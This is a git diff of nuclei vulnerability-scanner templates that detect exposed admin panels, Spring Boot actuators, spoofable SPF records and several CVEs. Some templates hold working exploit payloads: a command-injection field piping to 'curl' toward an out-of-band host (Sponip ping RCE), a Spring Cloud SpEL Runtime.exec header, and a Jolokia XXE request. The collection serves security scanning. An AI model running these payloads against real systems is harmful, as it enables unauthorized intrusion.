matchers-condition: and - matchers: - - type: word - words: - - "spectracom" - - "deleted" - part: header - condition: and - - type: status - status: - - 302 - -# Enhanced by mp on 2022/03/11 diff --git a/nuclei-templates/Other/sphider-login-10409.yaml b/nuclei-templates/Other/sphider-login-10409.yaml new file mode 100644 index 0000000000..cdfd9f13e8 --- /dev/null +++ b/nuclei-templates/Other/sphider-login-10409.yaml @@ -0,0 +1,25 @@ +id: sphider-login + +info: + name: Sphider Admin Login + author: dhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/6641 + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/admin/spider.php' + - '{{BaseURL}}/sphider/admin/admin.php' + - '{{BaseURL}}/search/admin/admin.php' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - 'Sphider Admin Login' + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sphider-login.yaml b/nuclei-templates/Other/sphider-login.yaml deleted file mode 100644 index 59e7e8b72e..0000000000 --- a/nuclei-templates/Other/sphider-login.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: sphider-login -info: - name: Sphider Admin Login - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6641 - tags: panel -requests: - - method: GET - path: - - '{{BaseURL}}/admin/spider.php' - - '{{BaseURL}}/sphider/admin/admin.php' - - '{{BaseURL}}/search/admin/admin.php' - matchers-condition: and - matchers: - - type: word - words: - - 'Sphider Admin Login' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml b/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml new file mode 100644 index 0000000000..68ebd6be19 --- /dev/null +++ b/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml @@ -0,0 +1,30 @@ +id: spidercontrol-scada-server-info + +info: + name: SpiderControl SCADA Web Server Info Exposure + author: geeknik + description: Numerous, market-leading OEM manufacturers - from a wide variety of industries - rely on SpiderControl. + reference: https://spidercontrol.net/spidercontrol-inside/ + severity: high + tags: spidercontrol,scada,exposure + +requests: + - method: GET + path: + - '{{BaseURL}}/cgi-bin/GetSrvInfo.exe' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "powered by SpiderControl" + - "LSWEBSERVER" + - "SCWEBSERVICES" + condition: and + extractors: + - type: kval + part: header + kval: + - Server diff --git a/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml b/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml deleted file mode 100644 index 9a520600ed..0000000000 --- a/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: spidercontrol-scada-server-info -info: - name: SpiderControl SCADA Web Server Info Exposure - author: geeknik - description: Numerous, market-leading OEM manufacturers - from a wide variety of industries - rely on SpiderControl. - reference: https://spidercontrol.net/spidercontrol-inside/ - severity: high - tags: spidercontrol,scada,exposure -requests: - - method: GET - path: - - '{{BaseURL}}/cgi-bin/GetSrvInfo.exe' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "powered by SpiderControl" - - "LSWEBSERVER" - - "SCWEBSERVICES" - condition: and - extractors: - - type: kval - part: header - kval: - - Server diff --git a/nuclei-templates/Other/splunk-enterprise-panel-10415.yaml b/nuclei-templates/Other/splunk-enterprise-panel.yaml similarity index 100% rename from nuclei-templates/Other/splunk-enterprise-panel-10415.yaml rename to nuclei-templates/Other/splunk-enterprise-panel.yaml diff --git a/nuclei-templates/Other/splunk-login-10419.yaml b/nuclei-templates/Other/splunk-login-10419.yaml deleted file mode 100644 index 0e1184730e..0000000000 --- a/nuclei-templates/Other/splunk-login-10419.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: splunk-login -info: - name: Splunk SOAR - author: dhiyaneshDK - severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Splunk+SOAR%22 - tags: panel,splunk -requests: - - method: GET - path: - - '{{BaseURL}}/login?next=/' - matchers-condition: and - matchers: - - type: word - words: - - 'Splunk SOAR' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/splunk-login.yaml b/nuclei-templates/Other/splunk-login.yaml new file mode 100644 index 0000000000..1cdc420015 --- /dev/null +++ b/nuclei-templates/Other/splunk-login.yaml @@ -0,0 +1,23 @@ +id: splunk-login + +info: + name: Splunk SOAR + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Splunk+SOAR%22 + tags: panel,splunk + +requests: + - method: GET + path: + - '{{BaseURL}}/login?next=/' + + matchers-condition: and + matchers: + - type: word + words: + - 'Splunk SOAR' + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/spon-ip-rce(1).yaml b/nuclei-templates/Other/spon-ip-rce.yaml similarity index 100% rename from nuclei-templates/Other/spon-ip-rce(1).yaml rename to nuclei-templates/Other/spon-ip-rce.yaml diff --git a/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml b/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml deleted file mode 100644 index e60a99688b..0000000000 --- a/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sponip-network-system-ping-rce - -info: - name: Sponip Network System Ping RCE - author: pikpikcu - severity: critical - reference: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 - tags: sponip,rce,oast,network - -requests: - - raw: - - | - POST /php/ping.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - sondata[ip]=a|curl {{interactsh-url}}&jsondata[type]=1 - - matchers: - - type: word - part: interactsh_protocol - name: http - words: - - "http" diff --git a/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml b/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml new file mode 100644 index 0000000000..0e1ef52f1a --- /dev/null +++ b/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml @@ -0,0 +1,30 @@ +id: sponip-network-system-ping-rce +info: + name: Sponip Network System Ping - Remote Code Execution + author: pikpikcu + severity: critical + description: | + Sponip Network System Ping is susceptible to remote code execution. + reference: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: sponip,rce,oast,network +requests: + - raw: + - | + POST /php/ping.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + sondata[ip]=a|curl {{interactsh-url}}&jsondata[type]=1 + matchers: + - type: word + part: interactsh_protocol + name: http + words: + - "http" + +# Enhanced by mp on 2022/05/30 diff --git a/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml b/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml deleted file mode 100644 index e1a76cfb37..0000000000 --- a/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: spoofable-spf-records-ptr - -info: - name: Find spoofable SPF records containing the PTR mechanism - author: binaryfigments - severity: info - description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable. - tags: dns,spf - -dns: - - name: "{{FQDN}}" - type: TXT - - matchers: - - type: word - words: - - "v=spf1" - - " ptr " - condition: and \ No newline at end of file diff --git a/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml b/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml new file mode 100644 index 0000000000..993131749a --- /dev/null +++ b/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml @@ -0,0 +1,22 @@ +id: spoofable-spf-records-ptr +info: + name: Spoofable SPF Records with PTR Mechanism + author: binaryfigments + severity: info + description: SPF records in DNS containing a PTR mechanism are spoofable. + reference: + - https://www.digitalocean.com/community/tutorials/how-to-use-an-spf-record-to-prevent-spoofing-improve-e-mail-reliability + classification: + cwe-id: CWE-200 + tags: dns,spf +dns: + - name: "{{FQDN}}" + type: TXT + matchers: + - type: word + words: + - "v=spf1" + - " ptr " + condition: and + +# Enhanced by mp on 2022/03/14 diff --git a/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml b/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml new file mode 100644 index 0000000000..f28360d6a7 --- /dev/null +++ b/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-22963 + +info: + name: CVE-2022-22963 - Spring Cloud RCE + author: rdnt + severity: critical + description: RCE on Spring cloud function SPEL + tags: cve,rce,spring,cve2022,injection + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22963 + cwe-id: CWE-770 + +requests: + - method: POST + path: + - "{{RootURL}}/functionRouter" + - "{{RootURL}}/api/functionRouter" + - "{{RootURL}}/api/v1/functionRouter" + - "{{RootURL}}/../../../../../../functionRouter" + - "{{RootURL}}/../../../../../../;functionRouter" + - "{{RootURL}}/spring/functionRouter" + - "{{RootURL}}/admin/functionRouter" + - "{{RootURL}}/../../../../../../../../functionRouter" + - "{{RootURL}}../../../../../../../../api/functionRouter" + - "{{RootURL}}../../../../../../../../api/v1/functionRouter" + - "{{RootURL}}%2f%2e%2e%2f%2e%2e%2ffunctionRouter" + - "{{RootURL}}%2fspring%2ffunctionRouter" + - "{{RootURL}}%2fadmin%2functionRouter" + headers: + spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("") + Content-Type: application/x-www-form-urlencoded + body: exp + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'functionRouter' + - type: status + status: + - 500 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22965.yaml b/nuclei-templates/Other/springForShell-CVE-2022-22965.yaml similarity index 100% rename from nuclei-templates/CVE-2022/cve-2022-22965.yaml rename to nuclei-templates/Other/springForShell-CVE-2022-22965.yaml diff --git a/nuclei-templates/Other/springboot-actuator-10433.yaml b/nuclei-templates/Other/springboot-actuator-10433.yaml deleted file mode 100644 index 005aad947e..0000000000 --- a/nuclei-templates/Other/springboot-actuator-10433.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: springboot-actuator - -info: - name: Detect Springboot Actuators - author: that_juan_,dwisiswant0,wdahlenb - severity: info - tags: tech,springboot,actuator - -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/actuator" - - "{{BaseURL}}/favicon.ico" - - "{{BaseURL}}/actuator/favicon.ico" - - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - '"_links":' - - '"self":' - - '"health"' - condition: and - - - type: dsl - name: "favicon" - dsl: - - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" diff --git a/nuclei-templates/Other/springboot-actuator.yaml b/nuclei-templates/Other/springboot-actuator.yaml new file mode 100644 index 0000000000..e40ac9a553 --- /dev/null +++ b/nuclei-templates/Other/springboot-actuator.yaml @@ -0,0 +1,27 @@ +id: springboot-actuator +info: + name: Detect Springboot Actuators + author: that_juan_,dwisiswant0,wdahlenb + severity: info + tags: tech,springboot,actuator +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/actuator" + - "{{BaseURL}}/favicon.ico" + - "{{BaseURL}}/actuator/favicon.ico" + stop-at-first-match: true + matchers-condition: or + matchers: + - type: word + part: body + words: + - '"_links":' + - '"self":' + - '"health"' + condition: and + - type: dsl + name: "favicon" + dsl: + - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" diff --git a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml deleted file mode 100644 index 8df6d19797..0000000000 --- a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: springboot-actuators-jolokia-xxe -info: - name: Spring Boot Actuators (Jolokia) XXE - author: dwisiswant0 - severity: high -requests: - - method: GET - path: - - "{{BaseURL}}:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "http:\\/\\/nonexistent:31337\\/logback.xml" - - "reloadByURL" - - "JoranException" - condition: and - part: body - - type: word - words: - - "X-Application-Context" - part: header diff --git a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml new file mode 100644 index 0000000000..8d86dd794f --- /dev/null +++ b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml @@ -0,0 +1,31 @@ +id: springboot-actuators-jolokia-xxe + +info: + name: Spring Boot Actuators (Jolokia) XXE + author: dwisiswant0,ipanda + severity: high + description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine. + reference: + - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators + - https://github.com/mpgn/Spring-Boot-Actuator-Exploit + tags: springboot,jolokia,xxe + +requests: + - method: GET + path: + - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" + - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "http:\\/\\/nonexistent:31337\\/logback.xml" + - "reloadByURL" + - "JoranException" + condition: and \ No newline at end of file diff --git a/nuclei-templates/Other/springboot-autoconfig-10437.yaml b/nuclei-templates/Other/springboot-autoconfig-10437.yaml new file mode 100644 index 0000000000..e120711b1e --- /dev/null +++ b/nuclei-templates/Other/springboot-autoconfig-10437.yaml @@ -0,0 +1,28 @@ +id: springboot-autoconfig + +info: + name: Detect Springboot autoconfig Actuator + author: pussycat0x + severity: low + description: Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied. + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/autoconfig" + - "{{BaseURL}}/actuator/autoconfig" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "positiveMatches" + - "AuditAutoConfiguration#auditListener" + - "EndpointAutoConfiguration#beansEndpoint" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-autoconfig.yaml b/nuclei-templates/Other/springboot-autoconfig.yaml deleted file mode 100644 index 22ed254bed..0000000000 --- a/nuclei-templates/Other/springboot-autoconfig.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: springboot-autoconfig -info: - name: Detect Springboot autoconfig Actuator - author: pussycat0x - severity: low - description: Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied. - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/autoconfig" - - "{{BaseURL}}/actuator/autoconfig" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "positiveMatches" - - "AuditAutoConfiguration#auditListener" - - "EndpointAutoConfiguration#beansEndpoint" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-beans-10439.yaml b/nuclei-templates/Other/springboot-beans-10439.yaml new file mode 100644 index 0000000000..1ed764c5e9 --- /dev/null +++ b/nuclei-templates/Other/springboot-beans-10439.yaml @@ -0,0 +1,32 @@ +id: springboot-beans +info: + name: Detect Springboot Beans Actuator + author: ajaysenr + severity: low + description: Displays a complete list of all the Spring beans in the application + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/beans" + - "{{BaseURL}}/actuator/beans" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"type"' + - '"beans"' + - '"dependencies"' + - '"scope"' + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-beans-10440.yaml b/nuclei-templates/Other/springboot-beans-10440.yaml deleted file mode 100644 index 3bcbd4f668..0000000000 --- a/nuclei-templates/Other/springboot-beans-10440.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: springboot-beans -info: - name: Detect Springboot Beans Actuator - author: ajaysenr - severity: low - description: Displays a complete list of all the Spring beans in the application - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/beans" - - "{{BaseURL}}/actuator/beans" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"type"' - - '"beans"' - - '"dependencies"' - - '"scope"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-configprops-10445.yaml b/nuclei-templates/Other/springboot-configprops-10443.yaml similarity index 100% rename from nuclei-templates/Other/springboot-configprops-10445.yaml rename to nuclei-templates/Other/springboot-configprops-10443.yaml diff --git a/nuclei-templates/Other/spring-boot-actuators.yaml b/nuclei-templates/Other/springboot-detect.yaml similarity index 100% rename from nuclei-templates/Other/spring-boot-actuators.yaml rename to nuclei-templates/Other/springboot-detect.yaml diff --git a/nuclei-templates/Other/springboot-dump-10446.yaml b/nuclei-templates/Other/springboot-dump-10446.yaml deleted file mode 100644 index 6002fe9b4a..0000000000 --- a/nuclei-templates/Other/springboot-dump-10446.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: springboot-dump -info: - name: Detect Springboot Dump Actuator - author: pussycat0x - severity: low - description: Performs a thread dump - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/dump" - - "{{BaseURL}}/actuator/dump" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "threadName" - - "threadId" - - "waitedTime" - - "lockName" - - "stackTrace" - - "methodName" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-dump-10447.yaml b/nuclei-templates/Other/springboot-dump-10447.yaml new file mode 100644 index 0000000000..a4d6571c3d --- /dev/null +++ b/nuclei-templates/Other/springboot-dump-10447.yaml @@ -0,0 +1,31 @@ +id: springboot-dump + +info: + name: Detect Springboot Dump Actuator + author: pussycat0x + severity: low + description: Performs a thread dump + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/dump" + - "{{BaseURL}}/actuator/dump" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "threadName" + - "threadId" + - "waitedTime" + - "lockName" + - "stackTrace" + - "methodName" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-env-10450.yaml b/nuclei-templates/Other/springboot-env-10450.yaml index 5fed76e721..a13d6f7bc0 100644 --- a/nuclei-templates/Other/springboot-env-10450.yaml +++ b/nuclei-templates/Other/springboot-env-10450.yaml @@ -1,15 +1,19 @@ id: springboot-env + info: name: Detect Springboot Env Actuator author: that_juan_,dwisiswant0,wdahlenb,philippedelteil severity: low description: Sensitive environment variables may not be masked tags: springboot,exposure + requests: - method: GET path: - "{{BaseURL}}/env" - "{{BaseURL}}/actuator/env" + + stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -18,20 +22,23 @@ requests: - "applicationConfig" - "activeProfiles" condition: or + - type: word part: body words: - "server.port" - "local.server.port" condition: or - - type: status - status: - - 200 + - type: word + part: header words: - "application/json" - "application/vnd.spring-boot.actuator" - "application/vnd.spring-boot.actuator.v1+json" - "application/vnd.spring-boot.actuator.v2+json" condition: or - part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-gateway-10453.yaml b/nuclei-templates/Other/springboot-gateway-10453.yaml index e9bd72d0ef..f753b4ffbf 100644 --- a/nuclei-templates/Other/springboot-gateway-10453.yaml +++ b/nuclei-templates/Other/springboot-gateway-10453.yaml @@ -1,4 +1,5 @@ id: springboot-gateway + info: name: Detect Spring Gateway Actuator author: wdahlenb @@ -6,11 +7,13 @@ info: description: Sensitive environment variables may not be masked tags: springboot,exposure reference: https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/ + requests: - method: GET path: - "{{BaseURL}}/gateway/routes" - "{{BaseURL}}/actuator/gateway/routes" + stop-at-first-match: true matchers-condition: and matchers: @@ -20,10 +23,12 @@ requests: - "predicate" - "route_id" condition: and + - type: word part: header words: - "application/json" + - type: status status: - 200 diff --git a/nuclei-templates/Other/springboot-h2-db-rce.yaml b/nuclei-templates/Other/springboot-h2-db-rce-10455.yaml similarity index 100% rename from nuclei-templates/Other/springboot-h2-db-rce.yaml rename to nuclei-templates/Other/springboot-h2-db-rce-10455.yaml diff --git a/nuclei-templates/Other/springboot-health-10459.yaml b/nuclei-templates/Other/springboot-health-10459.yaml deleted file mode 100644 index 42339354c4..0000000000 --- a/nuclei-templates/Other/springboot-health-10459.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: springboot-health - -info: - name: Detect Springboot Health Actuator - author: pussycat0x - severity: info - description: Additional routes may be displayed - tags: springboot,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/health" - - "{{BaseURL}}/actuator/health" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"status"' - - '"diskSpace"' - - '"jms"' - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-health.yaml b/nuclei-templates/Other/springboot-health.yaml new file mode 100644 index 0000000000..03ab2172d4 --- /dev/null +++ b/nuclei-templates/Other/springboot-health.yaml @@ -0,0 +1,24 @@ +id: springboot-health +info: + name: Detect Springboot Health Actuator + author: pussycat0x + severity: info + description: Additional routes may be displayed + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/health" + - "{{BaseURL}}/actuator/health" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"status"' + - '"diskSpace"' + - '"jms"' + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-heapdump.yaml b/nuclei-templates/Other/springboot-heapdump.yaml new file mode 100644 index 0000000000..c84da82205 --- /dev/null +++ b/nuclei-templates/Other/springboot-heapdump.yaml @@ -0,0 +1,29 @@ +id: springboot-heapdump +info: + name: Spring Boot Actuator - Heap Dump Detection + author: that_juan_,dwisiswant0,wdahlenb + severity: critical + description: A Spring Boot Actuator heap dump was detected. A heap dump is a snapshot of JVM memory, which could expose environment variables and HTTP requests. + reference: + - https://github.com/pyn3rd/Spring-Boot-Vulnerability + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/heapdump" + - "{{BaseURL}}/actuator/heapdump" + max-size: 2097152 # 2MB - Max Size to read from server response + matchers-condition: and + matchers: + - type: binary + part: body + binary: + - "4a4156412050524f46494c45" # "JAVA PROFILE" + - "4850524f46" # "HPROF" + - "1f8b080000000000" # Gunzip magic byte + condition: or + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/20 diff --git a/nuclei-templates/Other/springboot-httptrace-10467.yaml b/nuclei-templates/Other/springboot-httptrace-10467.yaml new file mode 100644 index 0000000000..f91a784635 --- /dev/null +++ b/nuclei-templates/Other/springboot-httptrace-10467.yaml @@ -0,0 +1,36 @@ +id: springboot-httptrace + +info: + name: Detect Springboot httptrace + author: that_juan_,dwisiswant0,wdahlenb + severity: low + description: View recent HTTP requests and responses + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/httptrace" + - "{{BaseURL}}/actuator/httptrace" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"traces"' + - '"timestamp"' + - '"principal"' + - '"session"' + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-httptrace.yaml b/nuclei-templates/Other/springboot-httptrace.yaml deleted file mode 100644 index 6671df8ac9..0000000000 --- a/nuclei-templates/Other/springboot-httptrace.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: springboot-httptrace -info: - name: Detect Springboot httptrace - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: View recent HTTP requests and responses - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/httptrace" - - "{{BaseURL}}/actuator/httptrace" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"traces"' - - '"timestamp"' - - '"principal"' - - '"session"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-info-10470.yaml b/nuclei-templates/Other/springboot-info-10470.yaml deleted file mode 100644 index c9d77a9f5f..0000000000 --- a/nuclei-templates/Other/springboot-info-10470.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: springboot-info - -info: - name: Detect Springboot Information page - author: philippedelteil - severity: info - description: Displays app name and version information among others values - tags: springboot - -requests: - - method: GET - path: - - "{{BaseURL}}/info" - - "{{BaseURL}}/actuator/info" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"build"' - - '"artifact"' - condition: and - - - type: status - status: - - 200 - - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v2+json" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-info.yaml b/nuclei-templates/Other/springboot-info.yaml new file mode 100644 index 0000000000..899a74d592 --- /dev/null +++ b/nuclei-templates/Other/springboot-info.yaml @@ -0,0 +1,32 @@ +id: springboot-info +info: + name: Detect Springboot Information page + author: philippedelteil + severity: info + description: Displays app name and version information among others values + tags: springboot +requests: + - method: GET + path: + - "{{BaseURL}}/info" + - "{{BaseURL}}/actuator/info" + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"build"' + - '"artifact"' + condition: and + - type: word + part: header + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v2+json" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-loggers-10475.yaml b/nuclei-templates/Other/springboot-loggers-10475.yaml new file mode 100644 index 0000000000..15abdb57f7 --- /dev/null +++ b/nuclei-templates/Other/springboot-loggers-10475.yaml @@ -0,0 +1,34 @@ +id: springboot-loggers + +info: + name: Detect Springboot Loggers + author: that_juan_,dwisiswant0,wdahlenb + severity: low + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/loggers" + - "{{BaseURL}}/actuator/loggers" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"loggers"' + - '"levels"' + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-loggers-10476.yaml b/nuclei-templates/Other/springboot-loggers-10476.yaml deleted file mode 100644 index b5e9d66968..0000000000 --- a/nuclei-templates/Other/springboot-loggers-10476.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: springboot-loggers -info: - name: Detect Springboot Loggers - author: that_juan_,dwisiswant0,wdahlenb - severity: low - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/loggers" - - "{{BaseURL}}/actuator/loggers" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"loggers"' - - '"levels"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-mappings-10480.yaml b/nuclei-templates/Other/springboot-mappings-10480.yaml new file mode 100644 index 0000000000..d9abf6d280 --- /dev/null +++ b/nuclei-templates/Other/springboot-mappings-10480.yaml @@ -0,0 +1,31 @@ +id: springboot-mappings +info: + name: Detect Springboot Mappings Actuator + author: that_juan_,dwisiswant0,wdahlenb + severity: low + description: Additional routes may be displayed + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/mappings" + - "{{BaseURL}}/actuator/mappings" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "mappings" + - "method" + - "produces" + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-mappings-10481.yaml b/nuclei-templates/Other/springboot-mappings-10481.yaml deleted file mode 100644 index c6b4f9bfef..0000000000 --- a/nuclei-templates/Other/springboot-mappings-10481.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: springboot-mappings - -info: - name: Detect Springboot Mappings Actuator - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: Additional routes may be displayed - tags: springboot,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/mappings" - - "{{BaseURL}}/actuator/mappings" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "mappings" - - "method" - - "produces" - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - 